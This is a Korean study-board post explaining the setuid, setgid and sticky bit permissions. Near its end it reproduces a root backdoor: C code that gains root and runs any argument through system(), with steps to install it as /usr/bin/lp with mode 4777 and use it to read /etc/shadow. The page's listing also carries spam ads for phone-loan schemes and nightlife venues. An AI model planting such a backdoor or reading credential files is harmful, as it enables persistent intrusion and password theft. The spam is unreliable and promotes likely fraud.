RadarURL

유닉스/리눅스
2015.05.27 18:55

SETUID, SETGID, Sticky Bit

조회 수 3701 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

가 크게 작게 위로 아래로 댓글로 가기 인쇄 첨부
?

단축키

Prev이전 문서

Next다음 문서

가 크게 작게 위로 아래로 댓글로 가기 인쇄 첨부

setuid: short for set user id

setgid: short for set group id
 
setuid 와 getgid 는 일반 유저가 실행화일의 소유자 또는 그룹의 권한을 이용하여 실행할 수 있도록 하는 유닉스 접근 권한 플래그입니다. 특정 작업을 수행하기 위해서 일시적으로 상승된 권한을 이용하여 프로그램을 실행하기 위해 사용됩니다.
 
setuid on executables
 
이진 실행 화일에 setuid 속성이 있으면, 이 파일을 실행할 수 있는 권한을 가진 일반 유저가 생성된 프로세스 내에서 파일을 소유하고 있는 사용자 (일반적으로 root) 의 권한을 얻게 된다. 프로세스 내에서 루트 권한을 가지게 되면, 그 애플리케이션은 일반적인 사용자에게는 제한된 시스템의 기능을 수행할 수 있다.
 
사용자가 ptrace, LD_LIBRARY_PATH, 또는 시그널을 보내는 등의 방법을 사용하여 아무렇게나 새로운 프로세스를 변경하려는 시도는 시스템에 의해 금지될 것이다. 보안 결함으로 인해, 많은 OS 들이 실행가능한 셀 스크립트에 setuid 속성이 적용되어 있는 경우 이를 무시하고 있다.
 
setuid 기능이 여러 방면에 아주 유용한 반면에, 주의깊게 설계되지 않은 실행가능한 프로그램에 setuid 속성이 할당되어 있다면, 보안 리스크를 노출할 수 있다. 영구적인 상승 권한을 얻기 위해, 또는 의도적으로 트로잔 목마(trojan horse) 프로그램을 실행하기 위해 결함이 있는 프로그램의 취약성을 이용할 수 있다. 
 
setgid 속성은 setuid 속성이 사용자 기반 권한을 변경하는 것과 같이, 그룹 기반 권한을 변경할 수 있다.
 
setuid 와 setgid 비트는 보통 chmod 명령어를 이용하여 설정되고 최상위 값을 4 (setuid) 또는  2 (setgid) 로 설정한다. 'chmod 6711' 는 setuid 와 setgid 비트를 설정하고 파일 소유자는 read/write/executable 권한을, 그리고 그룹과 others는 executable 권한을 가지도록 한다. 모든 chmod 플래그는 8진수이고 최상위 8진수의 최하위 비트는 sticky bit 라고 알려진 특수한 모드에 사용된다. ('chmod 1755 temp' 와 같이 1이 sticky bit 를 설정한다.)
 
setuid and setgid on directories
 
setuid 와 setgid 플래그가 디렉토리에 대해서 설정될 때는 완전히 다른 의미를 가지게 된다.
 
디렉토리에 setgid 를 설정하는 것 (chmod g+s) 은 그 디렉토리 내에서 생성되는 새로운 파일과 서브 디렉토리가 그 파일을 생성한 사용자의 주 groupID(primary groudID) 대신 setgid 가 설정된 디렉토리의 groupID 를 상속하도록 한다. 새로 생성된 서브 디렉토리는 setgid 비트를 상속한다. 디렉토리에 setgid 권한을 설정하는 것은 setgid 비트가 설정된 이후에 새로 생성된 파일과 서브디렉토리에만 영향을 미친다는 것을 명심해야 한다. 
 
Security
 
이 비트를 사용하는 프로그램은 buffer overrun attack 에 당하지 않도록 주의깊게 설계되어야 한다. 
 
Sticky bit
 
- 모든 사용자가 읽고, 쓰고, 실행이 가능하다
- 단, sticky bit 퍼미션이 적용된 디렉토리에서는 누구나 파일을 쓰고 실행할 수 있지만, 파일 삭제는 오직 owner 만 할 수 있다.
- 나머지는 사용자의 퍼미션 값에 실행의 값인 'x'가 아닌 't' 기호가 대신 명시된다.
- 예)'chmod 1755 temp'
 
이상은 위키피디아를 번역한 내용에에 stick bit 내용만 조금 추가한 것입니다. 
 
아래는 보안 관련 카페에 게재된 소스이며 읽기 권한이 없는 경우에도 임시적으로 setuid 권한 (root 권한)을 가지고 읽을 수 있는 순간적인 권한 상승을 악용한 내용입니다.
 
main(int argc, char * argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);

    sprintf(exec, argv[1]);
    system(exec);
}
 
1. 소스 컴파일 
# gcc set.c -o lp
 
2. 권한 변경
# chmod 4777 lp
 
3. /usr/bin/lp 삭제
 
4. 컴파일된 lp 를 /usr/bin 로 복사
 
5. 해당 프로그램을 이용하여 shadow 파일 읽기
# /usr/bin/lp "cat /etc/shadow"
 
 
위 방법은 루팅된 안드로이드폰에서 su 권한을 가지도록 하는 프로그램에서도 동일하게 사용되었습니다. 아래의 superuser.zip 파일 안에 su.c 코드를 살펴보면 위와 동일하게 구현되어 있습니다. 앞단에 su 권한을 부여할 프로세스 관리를 위한 android activity 를 실행하는 것 외에는 말이죠.
 
 

 

참고

 

출처 : http://codemuri.tistory.com/entry/SETUID-SETGID-Sticky-Bit

TAG •
?

공부 게시판

공부에 도움되는 글을 올려주세요.

  1. [공지] 공부 게시판 입니다.

    Date2003.08.18 By처누 Views2009478
    read more
  2. 강남건전지❤️OlO-8655-OO53❤️친절문의환영 #강남건전지 #강남유니콘 #선릉유니콘 #강남건전지위치 #선릉역건전지#대치동유니콘 #강남바커스 #선릉바커스 #선릉역바커스 #강남룸클럽 #선릉룸클럽 #강남베터리 #강남바데리

    Date2026.10.05 Category데이터베이스 By괴랄한재규어89 Views1
    Read More
  3. 용인두피문신 고민? 만족 후기 보려면

    Date2026.10.05 Category사무 소프트웨어 By날카로운꿩11 Views7
    Read More
  4. 웨딩누브라, 완벽한 드레스 핏을 위한 선택

    Date2026.10.05 Category윈도우즈 By날카로운감시자22 Views3
    Read More
  5. 인천맛집 순위

    Date2026.10.05 Category가상화 By차가운파편97 Views2
    Read More
  6. 손목터널증후군 치료, 현명한 선택 기준은?

    Date2026.10.05 Category웹서버,WAS By괴상한두루미52 Views1
    Read More
  7. 최근 테헤란로 벤처 밸리의 핵심 리더들 사이에서 ‘클래스가 다른 정통 수질과 프라이빗 무드’로 소문 자자한 '선릉 룸싸롱' 기습 방문, 인공미를 거부하는 무결점 뉴페이스들과 심장을 마비시킨 사심 플러팅에 제대로 저격당하고 온 솔직 후기

    Date2026.10.05 Category가상화 By희미한홍학99 Views4
    Read More
  8. 카­톡 gusim8003 급전/내구제 (24시문의) 선불폰 소액결제 일수 급전대출

    Date2026.10.05 Category웹서버,WAS By황금빛섬광82 Views2
    Read More
  9. 흥신소 선택 가이드

    Date2026.10.05 Category데이터베이스 By흔들리는골렘32 Views2
    Read More
  10. 양산싱크대막힘 완벽 해결 뚫자하수구

    Date2026.10.05 Category윈도우즈 By몽환적인태양핵44 Views1
    Read More
  11. 양산싱크대막힘 신속 해결의 모든 것

    Date2026.10.05 Category가상화 By조용한치타58 Views4
    Read More
  12. 카카오*톡 gusim8003 내구제대출/상조내구제 [24시문의] 선불유심 대출 폰내구제 가개통

    Date2026.10.05 Category유닉스/리눅스 By하얀라마72 Views5
    Read More
  13. 종로구가라오케 010 2817 0845 종로구 가라오케 예약 및 문의

    Date2026.10.04 Category윈도우즈 By흐릿한분석가84 Views9
    Read More
  14. 성공적인 중고화물차 선택 가이드

    Date2026.10.04 Category가상화 By붉은불꽃77 Views5
    Read More
  15. 센텀르엘, 하이엔드 라이프의 새로운 기준

    Date2026.10.04 Category데이터베이스 By검은파편81 Views6
    Read More
  16. 양산싱크대막힘 완벽 해결 뚫자하수구

    Date2026.10.04 Category가상화 By매혹적인곰18 Views5
    Read More
  17. 동탄 미시보다 자극적 첫사랑보다 그리운 마블 노래클럽 010++8293++0291

    Date2026.10.03 Category사무 소프트웨어 By광휘의퀘이사47 Views3
    Read More
  18. 탄현동노래방 탄현동에서 찾는 노래방 010 2817 0845

    Date2026.10.03 Category웹서버,WAS By울리는고래상어65 Views13
    Read More
  19. [Rocky Linux 9] /home 용량 줄이고 /root 용량 늘리기

    Date2026.04.03 Category유닉스/리눅스 ByYooN Views3802
    Read More
  20. [Rocky Linux] LVM 환경에서 /root 파티션 공간 부족 해결

    Date2026.04.03 Category유닉스/리눅스 ByYooN Views4177
    Read More
  21. 일반적인 Htaccess 301 리디렉션 규칙

    Date2026.04.01 Category웹서버,WAS ByYooN Views4180
    Read More
Board Pagination Prev 1 2 3 4 5 6 7 8 9 10 ... 36 Next
/ 36


즐겨찾기 (가족)

JAESOO's HOMEPAGE


장여은 홈페이지


장여희 홈페이지


장여원 홈페이지


즐겨찾기 (업무)

알리카페 홀릭

숭실대 컴퓨터 통신연구실 (서창진)

말레이시아 KL Sentral 한국인 GuestHouse


즐겨찾기 (취미)

어드민아이디

유에코 사랑회

아스가르드 좋은사람/나쁜사람

JServer.kr

제이서버 메타블로그

재수 티스토리


즐겨찾기 (강의, 커뮤니티)

재수 강의 홈페이지


한소리


VTMODE.COM


숭실대 인공지능학과


숭실대 통신연구실


베너